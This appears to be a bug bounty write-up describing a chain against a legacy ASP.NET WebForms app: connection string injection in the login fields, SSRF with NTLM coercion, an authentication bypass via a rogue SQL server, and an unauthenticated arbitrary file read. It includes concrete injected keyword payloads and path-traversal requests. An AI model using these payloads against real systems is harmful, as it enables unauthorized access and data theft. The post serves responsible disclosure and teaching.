Most people think of injection and immediately picture SQL injection. You put a quote in a field, the query breaks, and if you’re lucky you get to UNION SELECT your way to the crown jewels. But the query isn’t the only place user input gets concatenated into something dangerous. Before the app can even run a query, it has to open a connection, and that connection is described by a plain string of key=value; pairs.
If an application builds that string by gluing your input into it, you get connection string injection. It’s a much rarer bug than classic SQLi, and it usually gets waved away as low impact (“so what, you can set a timeout?”). This post is about a case where it was very much not low impact: I turned it into a server-side request forgery, used it to bypass authentication with a SQL server I ran on my own laptop, and then found the actual prize sitting behind the login was never protected in the first place.
The target is a private bug bounty program, so everything identifying is redacted and I’ve lightly renamed the endpoints and parameters. The bug class and the chain are real.
Finding the injection #
The app was a fairly old ASP.NET WebForms application. The login lived at the site root, with the usual default-flavoured controls: a username field, a password field, a submit button, and the ceremonial __VIEWSTATE / __EVENTVALIDATION blobs (with MAC enabled, so no ViewState games here). The POST looked roughly like this:
POST / HTTP/1.1
Host: [REDACTED]
Content-Type: application/x-www-form-urlencoded
__VIEWSTATE=...&__EVENTVALIDATION=...&LoginBox%24UserName=admin&LoginBox%24Password=admin&LoginBox%24LoginButton=Log+inI did the boring-but-mandatory first pass: throw ' OR '1'='1'-- at both fields and see if the login query falls over. Nothing. The query appeared to be parameterized, every attempt just came back with a polite “Login failed.” So, no SQL injection. Normally that’s where you close the tab.
Except the error message was interesting. On a failed login the server didn’t render a nice error page, it reflected the failure straight into a client-side alert():
<script>alert('Login failed for user admin.');</script>That little echo turned out to be an oracle. Because the next thing I tried was a semicolon in the username:
LoginBox$UserName = a;xyzkw=1and the alert came back with something an app should never say out loud:
Keyword not supported: 'xyzkw'.That’s not a SQL error. That’s the .NET SqlConnection string parser complaining. My username was being pasted, unescaped, into an ADO.NET connection string, and ;xyzkw=1 had been read as “add a connection-string keyword called xyzkw”. 🤔
A few more probes to map the sink:
a;b -> Keyword not supported: 'b;password'.
a;Application Name=zz -> (no error, generic "Login failed for user a")
' or " -> Format of the initialization string does not conform to specification starting at index N.The b;password in the first error is the giveaway: my input sits right before a ;Password= fragment. So the app is doing per-user SQL Server authentication: it takes whatever you type and builds something like:
Server=...;Database=...;User ID=<username>;Password=<password>;...Both the username and the password end up in that string, raw. The password field reached the same sink. And crucially, Application Name=zz was accepted: a real connection-string keyword, applied silently. So I could not only break the string, I could add working keywords to it.
Password=), anything I inject after a ; gets the final say. Keep that in mind, it’s the whole reason the next step works.
Turning it into an SSRF #
Once you can add arbitrary keywords to a connection string, the interesting ones aren’t Application Name. They’re the keywords that decide who the server talks to and how.
First, Integrated Security:
LoginBox$UserName = a;Integrated Security=SSPIThe alert:
Login failed for user '[REDACTED-DOMAIN]\[REDACTED-HOST]$'.Read that again. By flipping the connection to integrated auth, the web server tried to log in to SQL as its own machine account and helpfully leaked the AD domain and the hostname in the process. That’s already a nice information disclosure (now I know the internal domain and the box name), but it also confirmed something more important: my injected keywords actually take effect on the outbound connection.
So what happens if I inject the keyword that controls the destination?
LoginBox$UserName = a;Data Source=10.0.0.5,1433Data Source (a.k.a. Server) tells the SQL client which host to connect to. Inject it, and (because last keyword wins) the driver stops connecting to the real database and connects to whatever host I put there instead. The web server will happily open a TCP connection to an arbitrary internal IP, or to a box on the internet that I own.
That’s server-side request forgery, delivered through a login form. And it’s a particularly mean flavour of it: with integrated auth in the mix, pointing the connection at a host I control also coerces the machine account’s NTLM authentication towards me. Free credentials-relay primitive, if I wanted to go that route.
I didn’t need to. There was a much more direct thing to do with “I control which database the server logs into.”
Bypassing authentication with a rogue MSSQL server #
Here’s the thing about a login that works by connecting to a database as you: if the connection succeeds and the follow-up lookup returns a row, you’re in. The application had outsourced its “is this a valid user” decision to SQL Server. So if I become the SQL Server, I get to answer that question myself. 😅
I spun up a Microsoft SQL Server in Docker on my own machine, created a sysadmin login for it, and made it reachable from the target. Then I pointed the login there:
LoginBox$UserName = a;Data Source=<my-host>,1433;User ID=sa
LoginBox$Password = <my-password>The web server dutifully connected outbound to my SQL server, authenticated, ran its “validate the user” query against my database, and my database returned exactly the row it wanted to see. The alert('Login failed...') never fired.
Instead, the response was a completely different page - the authenticated landing page of the application, a Silverlight host that loaded the real app (.xap) from ClientBin/. I was inside, with no valid credentials, using nothing but a login form and a database I ran on my laptop.
At this point I had a clean, high-severity, fully unauthenticated finding: connection string injection → SSRF → authentication bypass. I could have written it up and gone to bed. But since I was already looking at the authenticated app, I kept pulling threads.
The real prize was unauthenticated all along #
The Silverlight app talked to a set of SOAP/WCF backend services under /Services/. I pulled the .xap, unpacked it (it’s just a zip), and read ServiceReferences.ClientConfig to get the service list. A handful of .svc endpoints (an application service and several search/catalog services) each with a ?singleWsdl that cheerfully handed over its full contract. The WSDL also leaked an internal backend IP, which lined up with an internal-IP redirect I’d noted earlier during recon.
Then I checked the obvious thing you always check: do these services actually require the session I just faked, or do they answer anyone?
They answered anyone.
Calling them with no cookie, no token, nothing, returned 200s with real data. One “reference data” call returned ~70 KB of internal configuration - plants, stock locations, thousands of material grades and standards - byte-for-byte identical whether or not I sent a session. A catalog search, given a valid site and stock, returned hundreds of real material records: internal part IDs, heat/charge numbers, dimensions, weights, mills, suppliers. None of it gated.
And one service, given a document ID, returned file paths pointing at an Azure Files share:
\\[REDACTED].file.core.windows.net\...\Certificates\<Mill>\<file>.pdf…together with the endpoint that serves those files:
DocViewer.aspx?inline=true&path=<path>An .aspx handler that takes a file path in a query parameter is a sentence that ends one of two ways. Let me show you which one:
GET /DocViewer.aspx?inline=true&path=C:\Windows\win.ini HTTP/1.1
Host: [REDACTED]; for 16-bit app support
[fonts]
[extensions]
...GET /DocViewer.aspx?inline=true&path=C:\Windows\System32\drivers\etc\hosts HTTP/1.1
Host: [REDACTED]Full contents, 200, no authentication. The path parameter wasn’t restricted to the certificate share at all. It read any local or UNC path the web server could reach. That’s a textbook path traversal / arbitrary file read, and it’s the classic on-ramp to reading web.config, grabbing the machineKey, and turning a file read into remote code execution on a WebForms box.
I stopped at benign files. win.ini and hosts are more than enough to prove the point, and pulling web.config off someone’s production server is not a line I wanted to cross for a screenshot.
Here’s the part that still makes me laugh a little. I’d just built a whole SSRF-to-rogue-database contraption to get past the login. And the single most dangerous thing behind that login - an endpoint that reads arbitrary files off the server - didn’t check the login at all. I could have hit DocViewer.aspx on my very first request, as an anonymous user, and gotten the same result. 🙃
Wrapping up #
The chain, start to finish:
- A WebForms login pasted the username (and password) straight into an ADO.NET connection string → connection string injection, confirmed through a reflected
alert()error oracle. - Injecting
Integrated Securityleaked the web server’s AD machine account; injectingData Sourcerepointed the outbound SQL connection → SSRF (plus an NTLM-coercion primitive for free). - Pointing that connection at a SQL Server I ran in Docker let my database answer “yes, valid user” → authentication bypass with no real credentials.
- Behind the login, the backend services and a file-serving
.aspxhandler enforced no authentication, ending in an unauthenticated arbitrary file read.
Two takeaways I keep coming back to.
“Parameterized query” is not the same as “no injection.” User input touches a lot of string-building that has nothing to do with your SELECT: connection strings, log formats, file paths, LDAP filters, command lines. The login here was immune to SQLi and still catastrophically injectable one layer down.
Authentication that lives in the data tier can be moved. The moment an app decides who you are by which database connects successfully, an attacker who can influence the connection target gets to make that decision. And once you’re through, don’t assume the interesting endpoints behind the door are actually locked, as this one so kindly demonstrated, sometimes the door was decorative the whole time.
Reported, rewarded and written up here for the fun of it. Thanks for reading.